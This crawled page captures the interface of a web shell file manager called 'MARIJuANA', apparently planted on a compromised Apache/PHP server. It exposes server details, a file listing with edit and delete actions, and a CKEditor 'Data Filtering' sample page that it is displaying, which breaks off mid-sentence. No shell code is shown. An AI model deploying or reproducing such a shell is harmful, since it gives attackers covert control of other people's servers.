MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/pocoes/transparencia/assets/ckeditor/samples/old/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
assets dir drwxrwxr-x 2019-05-20 12:05 R D
autocomplete dir drwxrwxr-x 2019-05-20 11:49 R D
dialog dir drwxrwxr-x 2019-05-20 12:05 R D
easyimage dir drwxrwxr-x 2019-05-20 11:49 R D
enterkey dir drwxrwxr-x 2019-05-20 11:49 R D
htmlwriter dir drwxrwxr-x 2019-05-20 12:16 R D
image2 dir drwxrwxr-x 2019-05-20 12:05 R D
magicline dir drwxrwxr-x 2019-05-20 11:49 R D
toolbar dir drwxrwxr-x 2019-05-20 11:49 R D
wysiwygarea dir drwxrwxr-x 2019-05-20 11:49 R D
xmas dir drwxrwxr-x 2019-05-20 11:49 R D
ajax.html 2.666 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
api.html 7.191 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
appendto.html 2.27 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
datafiltering.html 46.568 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
divreplace.html 4.584 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
index.html 5.668 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
inlineall.html 9.983 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
inlinebycode.html 6.068 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
inlinetextarea.html 4.828 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
jquery.html 7.378 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
readonly.html 2.882 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
replacebyclass.html 6.87 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
replacebycode.html 6.775 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
sample.css 4.994 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
sample.js 1.655 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
sample_posteddata.php 0.79 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
tabindex.html 2.371 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
uicolor.html 2.567 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
uilanguages.html 4.453 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
xhtmlstyle.html 6.887 KB -rw-rw-r-- 2019-05-20 11:36 R E G D
REQUEST EXIT
Data Filtering — CKEditor Sample

CKEditor Samples » Data Filtering and Features Activation

This sample is not maintained anymore. Check out its brand new version in CKEditor SDK.

This sample page demonstrates the idea of Advanced Content Filter (ACF), a sophisticated tool that takes control over what kind of data is accepted by the editor and what kind of output is produced.

When and what is being filtered?

ACF controls every single source of data that comes to the editor. It process both HTML that is inserted manually (i.e. pasted by the user) and programmatically like:

editor.setData( '<p>Hello world!</p>' );

ACF discards invalid, useless HTML tags and attributes so the editor remains "clean" during runtime. ACF behaviour can be configured and adjusted for a particular case to prevent the output HTML (i.e. in CMS systems) from being polluted. This kind of filtering is a first, client-side line of defense against "tag soups", the tool that precisely restricts which tags, attributes and styles are allowed (desired). When properly configured, ACF is an easy and fast way to produce a high-quality, intentionally filtered HTML.

How to configure or disable ACF?

Advanced Content Filter is enabled by default, working in "automatic mode", yet it provides a set of easy rules that allow adjusting filtering rules and disabling the entire feature when necessary. The config property responsible for this feature is config.allowedContent.

By "automatic mode" is meant that loaded plugins decide which kind of content is enabled and which is not. For example, if the link plugin is loaded it implies that <a> tag is automatically allowed. Each plugin is given a set of predefined ACF rules that control the editor until config.allowedContent is defined manually.

Let's assume our intention is to restrict the editor to accept (produce) paragraphs only: no attributes, no styles, no other tags. With ACF this is very simple. Basically set config.allowedContent to 'p':

var editor = CKEDITOR.replace( textarea_id, {
	allowedContent: 'p'
} );

Now try to play with allowed content:

// Trying to insert disallowed tag and attribute.
editor.setData( '<p style="color: red">Hello <em>world</em>!</p>' );
alert( editor.getData() );

// Filtered data is returned.
"<p>Hello world!</p>"

What happened? Since config.allowedContent: 'p' is set the editor assumes that only plain <p> are accepted. Nothing more. This is why style attribute and <em> tag are gone. The same filtering would happen if we pasted disallowed HTML into this editor.

This is just a small sample of what ACF can do. To know more, please refer to the sample section below and